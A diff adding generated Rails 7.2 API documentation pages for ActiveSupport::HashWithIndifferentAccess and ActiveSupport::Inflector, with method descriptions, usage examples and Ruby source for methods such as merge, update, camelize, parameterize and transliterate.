+    def key?(key)
+      super(convert_key(key))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + member?(key) + +

+ + +
+ +
+ + + + + +
+ Alias for: key? +
+ + + + +
+ +
+

+ + merge(*hashes, &block) + +

+ + +
+

This method has the same semantics of update, except it does not modify the receiver but rather returns a new hash with indifferent access with the result of the merge.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 273
+    def merge(*hashes, &block)
+      dup.update(*hashes, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + merge!(*other_hashes, &block) + +

+ + +
+ +
+ + + + + +
+ Alias for: update +
+ + + + +
+ +
+

+ + nested_under_indifferent_access() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 66
+    def nested_under_indifferent_access
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + regular_update(*other_hashes, &block) + +

+ + +
+ +
+ + + + + +
+ Alias for: update +
+ + + + +
+ +
+

+ + regular_writer(key, value) + +

+ + +
+ +
+ + + + + +
+ Alias for: []= +
+ + + + +
+ +
+

+ + reject(*args, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 332
+    def reject(*args, &block)
+      return to_enum(:reject) unless block_given?
+      dup.tap { |hash| hash.reject!(*args, &block) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + replace(other_hash) + +

+ + +
+

Replaces the contents of this hash with other_hash.

+ +
h = { "a" => 100, "b" => 200 }
+h.replace({ "c" => 300, "d" => 400 }) # => {"c"=>300, "d"=>400}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 298
+    def replace(other_hash)
+      super(self.class.new(other_hash))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reverse_merge(other_hash) + +

+ + +
+

Like merge but the other way around: Merges the receiver into the argument and returns a new hash with indifferent access as result:

+ +
hash = ActiveSupport::HashWithIndifferentAccess.new
+hash['a'] = nil
+hash.reverse_merge(a: 0, b: 1) # => {"a"=>nil, "b"=>1}
+
+
+ + + +
+ Also aliased as: with_defaults +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 283
+    def reverse_merge(other_hash)
+      super(self.class.new(other_hash))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reverse_merge!(other_hash) + +

+ + +
+

Same semantics as reverse_merge but modifies the receiver in-place.

+
+ + + +
+ Also aliased as: with_defaults! +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 289
+    def reverse_merge!(other_hash)
+      super(self.class.new(other_hash))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select(*args, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 327
+    def select(*args, &block)
+      return to_enum(:select) unless block_given?
+      dup.tap { |hash| hash.select!(*args, &block) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + slice(*keys) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 365
+    def slice(*keys)
+      keys.map! { |key| convert_key(key) }
+      self.class.new(super)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + slice!(*keys) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 370
+    def slice!(*keys)
+      keys.map! { |key| convert_key(key) }
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + store(key, value) + +

+ + +
+ +
+ + + + + +
+ Alias for: []= +
+ + + + +
+ +
+

+ + stringify_keys() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 318
+    def stringify_keys; dup end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stringify_keys!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 316
+    def stringify_keys!; self end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + symbolize_keys() + +

+ + +
+ +
+ + + +
+ Also aliased as: to_options +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 322
+    def symbolize_keys; to_hash.symbolize_keys! end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_hash() + +

+ + +
+

Convert to a regular hash with string keys.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 380
+    def to_hash
+      _new_hash = Hash.new
+      set_defaults(_new_hash)
+
+      each do |key, value|
+        _new_hash[key] = convert_value(value, conversion: :to_hash)
+      end
+      _new_hash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_options() + +

+ + +
+ +
+ + + + + +
+ Alias for: symbolize_keys +
+ + + + +
+ +
+

+ + to_options!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 325
+    def to_options!; self end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_proc() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 390
+    def to_proc
+      proc { |key| self[key] }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transform_keys(hash = NOT_GIVEN, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 344
+    def transform_keys(hash = NOT_GIVEN, &block)
+      return to_enum(:transform_keys) if NOT_GIVEN.equal?(hash) && !block_given?
+      dup.tap { |h| h.transform_keys!(hash, &block) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transform_keys!(hash = NOT_GIVEN, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 349
+    def transform_keys!(hash = NOT_GIVEN, &block)
+      return to_enum(:transform_keys!) if NOT_GIVEN.equal?(hash) && !block_given?
+
+      if hash.nil?
+        super
+      elsif NOT_GIVEN.equal?(hash)
+        keys.each { |key| self[yield(key)] = delete(key) }
+      elsif block_given?
+        keys.each { |key| self[hash[key] || yield(key)] = delete(key) }
+      else
+        keys.each { |key| self[hash[key] || key] = delete(key) }
+      end
+
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transform_values(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 337
+    def transform_values(&block)
+      return to_enum(:transform_values) unless block_given?
+      dup.tap { |hash| hash.transform_values!(&block) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update(*other_hashes, &block) + +

+ + +
+

Updates the receiver in-place, merging in the hashes passed as arguments:

+ +
hash_1 = ActiveSupport::HashWithIndifferentAccess.new
+hash_1[:key] = 'value'
+
+hash_2 = ActiveSupport::HashWithIndifferentAccess.new
+hash_2[:key] = 'New Value!'
+
+hash_1.update(hash_2) # => {"key"=>"New Value!"}
+
+hash = ActiveSupport::HashWithIndifferentAccess.new
+hash.update({ "a" => 1 }, { "b" => 2 }) # => { "a" => 1, "b" => 2 }
+
+ +

The arguments can be either an ActiveSupport::HashWithIndifferentAccess or a regular Hash. In either case the merge respects the semantics of indifferent access.

+ +

If the argument is a regular hash with keys :key and "key" only one of the values end up in the receiver, but which one is unspecified.

+ +

When given a block, the value for duplicated keys will be determined by the result of invoking the block with the duplicated key, the value in the receiver, and the value in other_hash. The rules for duplicated keys follow the semantics of indifferent access:

+ +
hash_1[:key] = 10
+hash_2['key'] = 12
+hash_1.update(hash_2) { |key, old, new| old + new } # => {"key"=>22}
+
+
+ + + +
+ Also aliased as: regular_update, merge! +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 132
+    def update(*other_hashes, &block)
+      if other_hashes.size == 1
+        update_with_single_argument(other_hashes.first, block)
+      else
+        other_hashes.each do |other_hash|
+          update_with_single_argument(other_hash, block)
+        end
+      end
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + values_at(*keys) + +

+ + +
+

Returns an array of the values at the specified indices:

+ +
hash = ActiveSupport::HashWithIndifferentAccess.new
+hash[:a] = 'x'
+hash[:b] = 'y'
+hash.values_at('a', 'b') # => ["x", "y"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 237
+    def values_at(*keys)
+      keys.map! { |key| convert_key(key) }
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_defaults(other_hash) + +

+ + +
+ +
+ + + + + +
+ Alias for: reverse_merge +
+ + + + +
+ +
+

+ + with_defaults!(other_hash) + +

+ + +
+ +
+ + + + + +
+ Alias for: reverse_merge! +
+ + + + +
+ +
+

+ + with_indifferent_access() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/hash_with_indifferent_access.rb, line 62
+    def with_indifferent_access
+      dup
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + without(*keys) + +

+ + +
+ +
+ + + + + +
+ Alias for: except +
+ + + + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Inflector.html b/src/7.2/classes/ActiveSupport/Inflector.html new file mode 100644 index 0000000000..bc08c6eaa8 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Inflector.html @@ -0,0 +1,1296 @@ +--- +title: ActiveSupport::Inflector +layout: default +--- +
+ +
+
+ +
+ +

Active Support Inflector

+ +

The Inflector transforms words from singular to plural, class names to table names, modularized class names to ones without, and class names to foreign keys. The default inflections for pluralization, singularization, and uncountable words are kept in inflections.rb.

+ +

The Rails core team has stated patches for the inflections library will not be accepted in order to avoid breaking legacy applications which may be relying on errant inflections. If you discover an incorrect inflection and require it for your application or wish to define rules for languages other than English, please correct or add them yourself (explained below).

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
ALLOWED_ENCODINGS_FOR_TRANSLITERATE=[Encoding::UTF_8, Encoding::US_ASCII, Encoding::GB18030].freeze
+ + + + + + + +

Instance Public methods

+ +
+

+ + camelize(term, uppercase_first_letter = true) + +

+ + +
+

Converts strings to UpperCamelCase. If the uppercase_first_letter parameter is set to false, then produces lowerCamelCase.

+ +

Also converts β€˜/’ to β€˜::’ which is useful for converting paths to namespaces.

+ +
camelize('active_model')                # => "ActiveModel"
+camelize('active_model', false)         # => "activeModel"
+camelize('active_model/errors')         # => "ActiveModel::Errors"
+camelize('active_model/errors', false)  # => "activeModel::Errors"
+
+ +

As a rule of thumb you can think of camelize as the inverse of underscore, though there are cases where that does not hold:

+ +
camelize(underscore('SSLError'))        # => "SslError"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 70
+    def camelize(term, uppercase_first_letter = true)
+      string = term.to_s
+      # String#camelize takes a symbol (:upper or :lower), so here we also support :lower to keep the methods consistent.
+      if !uppercase_first_letter || uppercase_first_letter == :lower
+        string = string.sub(inflections.acronyms_camelize_regex) { |match| match.downcase! || match }
+      elsif string.match?(/\A[a-z\d]*\z/)
+        return inflections.acronyms[string]&.dup || string.capitalize
+      else
+        string = string.sub(/^[a-z\d]*/) { |match| inflections.acronyms[match] || match.capitalize! || match }
+      end
+      string.gsub!(/(?:_|(\/))([a-z\d]*)/i) do
+        word = $2
+        substituted = inflections.acronyms[word] || word.capitalize! || word
+        $1 ? "::#{substituted}" : substituted
+      end
+      string
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + classify(table_name) + +

+ + +
+

Creates a class name from a plural table name like Rails does for table names to models. Note that this returns a string and not a Class. (To convert to an actual class follow classify with constantize.)

+ +
classify('ham_and_eggs') # => "HamAndEgg"
+classify('posts')        # => "Post"
+
+ +

Singular names are not handled correctly:

+ +
classify('calculus')     # => "Calculu"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 218
+    def classify(table_name)
+      # strip out any leading schema name
+      camelize(singularize(table_name.to_s.sub(/.*\./, "")))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + constantize(camel_cased_word) + +

+ + +
+

Tries to find a constant with the name specified in the argument string.

+ +
constantize('Module')   # => Module
+constantize('Foo::Bar') # => Foo::Bar
+
+ +

The name is assumed to be the one of a top-level constant, no matter whether it starts with β€œ::” or not. No lexical context is taken into account:

+ +
C = 'outside'
+module M
+  C = 'inside'
+  C                # => 'inside'
+  constantize('C') # => 'outside', same as ::C
+end
+
+ +

NameError is raised when the name is not in CamelCase or the constant is unknown.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 289
+    def constantize(camel_cased_word)
+      Object.const_get(camel_cased_word)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dasherize(underscored_word) + +

+ + +
+

Replaces underscores with dashes in the string.

+ +
dasherize('puni_puni') # => "puni-puni"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 226
+    def dasherize(underscored_word)
+      underscored_word.tr("_", "-")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deconstantize(path) + +

+ + +
+

Removes the rightmost segment from the constant expression in the string.

+ +
deconstantize('Net::HTTP')   # => "Net"
+deconstantize('::Net::HTTP') # => "::Net"
+deconstantize('String')      # => ""
+deconstantize('::String')    # => ""
+deconstantize('')            # => ""
+
+ +

See also demodulize.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 256
+    def deconstantize(path)
+      path.to_s[0, path.rindex("::") || 0] # implementation based on the one in facets' Module#spacename
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + demodulize(path) + +

+ + +
+

Removes the module part from the expression in the string.

+ +
demodulize('ActiveSupport::Inflector::Inflections') # => "Inflections"
+demodulize('Inflections')                           # => "Inflections"
+demodulize('::Inflections')                         # => "Inflections"
+demodulize('')                                      # => ""
+
+ +

See also deconstantize.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 238
+    def demodulize(path)
+      path = path.to_s
+      if i = path.rindex("::")
+        path[(i + 2), path.length]
+      else
+        path
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + downcase_first(string) + +

+ + +
+

Converts the first character in the string to lowercase.

+ +
downcase_first('If they enjoyed The Matrix') # => "if they enjoyed The Matrix"
+downcase_first('I')                          # => "i"
+downcase_first('')                           # => ""
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 175
+    def downcase_first(string)
+      string.length > 0 ? string[0].downcase.concat(string[1..-1]) : +""
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + foreign_key(class_name, separate_class_name_and_id_with_underscore = true) + +

+ + +
+

Creates a foreign key name from a class name. separate_class_name_and_id_with_underscore sets whether the method should put β€˜_’ between the name and β€˜id’.

+ +
foreign_key('Message')        # => "message_id"
+foreign_key('Message', false) # => "messageid"
+foreign_key('Admin::Post')    # => "post_id"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 267
+    def foreign_key(class_name, separate_class_name_and_id_with_underscore = true)
+      underscore(demodulize(class_name)) + (separate_class_name_and_id_with_underscore ? "_id" : "id")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + humanize(lower_case_and_underscored_word, capitalize: true, keep_id_suffix: false) + +

+ + +
+

Tweaks an attribute name for display to end users.

+ +

Specifically, performs these transformations:

+
  • +

    Applies human inflection rules to the argument.

    +
  • +

    Deletes leading underscores, if any.

    +
  • +

    Removes an β€œ_id” suffix if present.

    +
  • +

    Replaces underscores with spaces, if any.

    +
  • +

    Downcases all words except acronyms.

    +
  • +

    Capitalizes the first word.

    +
+ +

The capitalization of the first word can be turned off by setting the :capitalize option to false (default is true).

+ +

The trailing β€˜_id’ can be kept and capitalized by setting the optional parameter keep_id_suffix to true (default is false).

+ +
humanize('employee_salary')                  # => "Employee salary"
+humanize('author_id')                        # => "Author"
+humanize('author_id', capitalize: false)     # => "author"
+humanize('_id')                              # => "Id"
+humanize('author_id', keep_id_suffix: true)  # => "Author id"
+
+ +

If β€œSSL” was defined to be an acronym:

+ +
humanize('ssl_error') # => "SSL error"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 135
+    def humanize(lower_case_and_underscored_word, capitalize: true, keep_id_suffix: false)
+      result = lower_case_and_underscored_word.to_s.dup
+
+      inflections.humans.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
+
+      result.tr!("_", " ")
+      result.lstrip!
+      if !keep_id_suffix && lower_case_and_underscored_word&.end_with?("_id")
+        result.delete_suffix!(" id")
+      end
+
+      result.gsub!(/([a-z\d]+)/i) do |match|
+        match.downcase!
+        inflections.acronyms[match] || match
+      end
+
+      if capitalize
+        result.sub!(/\A\w/) do |match|
+          match.upcase!
+          match
+        end
+      end
+
+      result
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inflections(locale = :en) + +

+ + +
+

Yields a singleton instance of Inflector::Inflections so you can specify additional inflector rules. If passed an optional locale, rules for other languages can be specified. If not specified, defaults to :en. Only rules for English are provided.

+ +
ActiveSupport::Inflector.inflections(:en) do |inflect|
+  inflect.uncountable 'rails'
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/inflections.rb, line 265
+    def inflections(locale = :en)
+      if block_given?
+        yield Inflections.instance(locale)
+      else
+        Inflections.instance_or_fallback(locale)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ordinal(number) + +

+ + +
+

Returns the suffix that should be added to a number to denote the position in an ordered sequence such as 1st, 2nd, 3rd, 4th.

+ +
ordinal(1)     # => "st"
+ordinal(2)     # => "nd"
+ordinal(1002)  # => "nd"
+ordinal(1003)  # => "rd"
+ordinal(-11)   # => "th"
+ordinal(-1021) # => "st"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 334
+    def ordinal(number)
+      I18n.translate("number.nth.ordinals", number: number)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ordinalize(number) + +

+ + +
+

Turns a number into an ordinal string used to denote the position in an ordered sequence such as 1st, 2nd, 3rd, 4th.

+ +
ordinalize(1)     # => "1st"
+ordinalize(2)     # => "2nd"
+ordinalize(1002)  # => "1002nd"
+ordinalize(1003)  # => "1003rd"
+ordinalize(-11)   # => "-11th"
+ordinalize(-1021) # => "-1021st"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 347
+    def ordinalize(number)
+      I18n.translate("number.nth.ordinalized", number: number)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + parameterize(string, separator: "-", preserve_case: false, locale: nil) + +

+ + +
+

Replaces special characters in a string so that it may be used as part of a β€˜pretty’ URL.

+ +
parameterize("Donald E. Knuth") # => "donald-e-knuth"
+parameterize("^très|Jolie-- ")  # => "tres-jolie"
+
+ +

To use a custom separator, override the separator argument.

+ +
parameterize("Donald E. Knuth", separator: '_') # => "donald_e_knuth"
+parameterize("^très|Jolie__ ", separator: '_')  # => "tres_jolie"
+
+ +

To preserve the case of the characters in a string, use the preserve_case argument.

+ +
parameterize("Donald E. Knuth", preserve_case: true) # => "Donald-E-Knuth"
+parameterize("^très|Jolie-- ", preserve_case: true) # => "tres-Jolie"
+
+ +

It preserves dashes and underscores unless they are used as separators:

+ +
parameterize("^très|Jolie__ ")                 # => "tres-jolie__"
+parameterize("^très|Jolie-- ", separator: "_") # => "tres_jolie--"
+parameterize("^très_Jolie-- ", separator: ".") # => "tres_jolie--"
+
+ +

If the optional parameter locale is specified, the word will be parameterized as a word of that language. By default, this parameter is set to nil and it will use the configured I18n.locale.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/transliterate.rb, line 123
+    def parameterize(string, separator: "-", preserve_case: false, locale: nil)
+      # Replace accented chars with their ASCII equivalents.
+      parameterized_string = transliterate(string, locale: locale)
+
+      # Turn unwanted chars into the separator.
+      parameterized_string.gsub!(/[^a-z0-9\-_]+/i, separator)
+
+      unless separator.nil? || separator.empty?
+        if separator == "-"
+          re_duplicate_separator        = /-{2,}/
+          re_leading_trailing_separator = /^-|-$/i
+        else
+          re_sep = Regexp.escape(separator)
+          re_duplicate_separator        = /#{re_sep}{2,}/
+          re_leading_trailing_separator = /^#{re_sep}|#{re_sep}$/i
+        end
+        # No more than one of the separator in a row.
+        parameterized_string.gsub!(re_duplicate_separator, separator)
+        # Remove leading/trailing separator.
+        parameterized_string.gsub!(re_leading_trailing_separator, "")
+      end
+
+      parameterized_string.downcase! unless preserve_case
+      parameterized_string
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pluralize(word, locale = :en) + +

+ + +
+

Returns the plural form of the word in the string.

+ +

If passed an optional locale parameter, the word will be pluralized using rules defined for that language. By default, this parameter is set to :en.

+ +
pluralize('post')             # => "posts"
+pluralize('octopus')          # => "octopi"
+pluralize('sheep')            # => "sheep"
+pluralize('words')            # => "words"
+pluralize('CamelOctopus')     # => "CamelOctopi"
+pluralize('ley', :es)         # => "leyes"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 33
+    def pluralize(word, locale = :en)
+      apply_inflections(word, inflections(locale).plurals, locale)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + safe_constantize(camel_cased_word) + +

+ + +
+

Tries to find a constant with the name specified in the argument string.

+ +
safe_constantize('Module')   # => Module
+safe_constantize('Foo::Bar') # => Foo::Bar
+
+ +

The name is assumed to be the one of a top-level constant, no matter whether it starts with β€œ::” or not. No lexical context is taken into account:

+ +
C = 'outside'
+module M
+  C = 'inside'
+  C                     # => 'inside'
+  safe_constantize('C') # => 'outside', same as ::C
+end
+
+ +

nil is returned when the name is not in CamelCase or the constant (or part of it) is unknown.

+ +
safe_constantize('blargle')                  # => nil
+safe_constantize('UnknownModule')            # => nil
+safe_constantize('UnknownModule::Foo::Bar')  # => nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 315
+    def safe_constantize(camel_cased_word)
+      constantize(camel_cased_word)
+    rescue NameError => e
+      raise if e.name && !(camel_cased_word.to_s.split("::").include?(e.name.to_s) ||
+        e.name.to_s == camel_cased_word.to_s)
+    rescue LoadError => e
+      message = e.respond_to?(:original_message) ? e.original_message : e.message
+      raise unless /Unable to autoload constant #{const_regexp(camel_cased_word)}/.match?(message)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + singularize(word, locale = :en) + +

+ + +
+

The reverse of pluralize, returns the singular form of a word in a string.

+ +

If passed an optional locale parameter, the word will be singularized using rules defined for that language. By default, this parameter is set to :en.

+ +
singularize('posts')            # => "post"
+singularize('octopi')           # => "octopus"
+singularize('sheep')            # => "sheep"
+singularize('word')             # => "word"
+singularize('CamelOctopi')      # => "CamelOctopus"
+singularize('leyes', :es)       # => "ley"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 50
+    def singularize(word, locale = :en)
+      apply_inflections(word, inflections(locale).singulars, locale)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tableize(class_name) + +

+ + +
+

Creates the name of a table like Rails does for models to table names. This method uses the pluralize method on the last word in the string.

+ +
tableize('RawScaledScorer') # => "raw_scaled_scorers"
+tableize('ham_and_egg')     # => "ham_and_eggs"
+tableize('fancyCategory')   # => "fancy_categories"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 204
+    def tableize(class_name)
+      pluralize(underscore(class_name))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + titleize(word, keep_id_suffix: false) + +

+ + +
+

Capitalizes all the words and replaces some characters in the string to create a nicer looking title. titleize is meant for creating pretty output. It is not used in the Rails internals.

+ +

The trailing β€˜_id’,β€˜Id’.. can be kept and capitalized by setting the optional parameter keep_id_suffix to true. By default, this parameter is false.

+ +
titleize('man from the boondocks')                       # => "Man From The Boondocks"
+titleize('x-men: the last stand')                        # => "X Men: The Last Stand"
+titleize('TheManWithoutAPast')                           # => "The Man Without A Past"
+titleize('raiders_of_the_lost_ark')                      # => "Raiders Of The Lost Ark"
+titleize('string_ending_with_id', keep_id_suffix: true)  # => "String Ending With Id"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/methods.rb, line 192
+    def titleize(word, keep_id_suffix: false)
+      humanize(underscore(word), keep_id_suffix: keep_id_suffix).gsub(/\b(?<!\w['’`()])[a-z]/) do |match|
+        match.capitalize
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + transliterate(string, replacement = "?", locale: nil) + +

+ + +
+

Replaces non-ASCII characters with an ASCII approximation, or if none exists, a replacement character which defaults to β€œ?”.

+ +
transliterate('Γ†rΓΈskΓΈbing')
+# => "AEroskobing"
+
+ +

Default approximations are provided for Western/Latin characters, e.g, β€œΓΈβ€, β€œΓ±β€, β€œΓ©β€, β€œΓŸβ€, etc.

+ +

This method is I18n aware, so you can set up custom approximations for a locale. This can be useful, for example, to transliterate German’s β€œΓΌβ€ and β€œΓΆβ€ to β€œue” and β€œoe”, or to add support for transliterating Russian to ASCII.

+ +

In order to make your custom transliterations available, you must set them as the i18n.transliterate.rule i18n key:

+ +
# Store the transliterations in locales/de.yml
+i18n:
+  transliterate:
+    rule:
+      ΓΌ: "ue"
+      ΓΆ: "oe"
+
+# Or set them using Ruby
+I18n.backend.store_translations(:de, i18n: {
+  transliterate: {
+    rule: {
+      'ΓΌ' => 'ue',
+      'ΓΆ' => 'oe'
+    }
+  }
+})
+
+ +

The value for i18n.transliterate.rule can be a simple Hash that maps characters to ASCII approximations as shown above, or, for more complex requirements, a Proc:

+ +
I18n.backend.store_translations(:de, i18n: {
+  transliterate: {
+    rule: ->(string) { MyTransliterator.transliterate(string) }
+  }
+})
+
+ +

Now you can have different transliterations for each locale:

+ +
transliterate('JΓΌrgen', locale: :en)
+# => "Jurgen"
+
+transliterate('JΓΌrgen', locale: :de)
+# => "Juergen"
+
+ +

Transliteration is restricted to UTF-8, US-ASCII, and GB18030 strings. Other encodings will raise an ArgumentError.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/inflector/transliterate.rb, line 64
+    def transliterate(string, replacement = "?", locale: nil)
+      raise ArgumentError, "Can only transliterate strings. Received #{string.class.name}" unless string.is_a?(String)
+      raise ArgumentError, "Cannot transliterate strings with #{string.encoding} encoding" unless ALLOWED_ENCODINGS_FOR_TRANSLITERATE.include?(string.encoding)
+
+      return string.dup if string.ascii_only?
+      string = string.dup if string.frozen?
+
+      input_encoding = string.encoding
+
+      # US-ASCII is a subset of UTF-8 so we'll force encoding as UTF-8 if
+      # US-ASCII is given. This way we can let tidy_bytes handle the string
+      # in the same way as we do for UTF-8
+      string.force_encoding(Encoding::UTF_8) if string.encoding == Encoding::US_ASCII
+
+      # GB18030 is Unicode compatible but is not a direct mapping so needs to be
+      # transcoded. Using invalid/undef :replace will result in loss of data in
+      # the event of invalid characters, but since tidy_bytes will replace
+      # invalid/undef with a "?" we're safe to do the same beforehand
+      string.encode!(Encoding::UTF_8, invalid: :replace, undef: :replace) if string.encoding == Encoding::GB18030
+
+      transliterated = I18n.transliterate(
+        ActiveSupport::Multibyte::Unicode.tidy_bytes(string).unicode_normalize(:nfc),
+        replacement: replacement,
+        locale: locale
+      )
+
+      # Restore the string encoding of the input if it was not UTF-8.
+      # Apply invalid/undef :replace as tidy_bytes does
+      transliterated.encode!(input_encoding, invalid: :replace, undef: :replace) if input_encoding != transliterated.encoding
+
+      transliterated
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + underscore(camel_cased_word) + +

+ + +
+

Makes an underscored, lowercase form from the expression in the string.

+ +

Changes β€˜::’ to β€˜/’ to convert namespaces to paths.

+ +
underscore('ActiveModel')         # => "active_model"
+underscore('ActiveModel::Errors') # => "active_model/errors"
+
+ +

As a rule of thumb you can think of underscore as the inverse of camelize, though there are cases where that does not hold:

+ +
camelize(underscore('SSLError'))  # => "SslError"
+
+
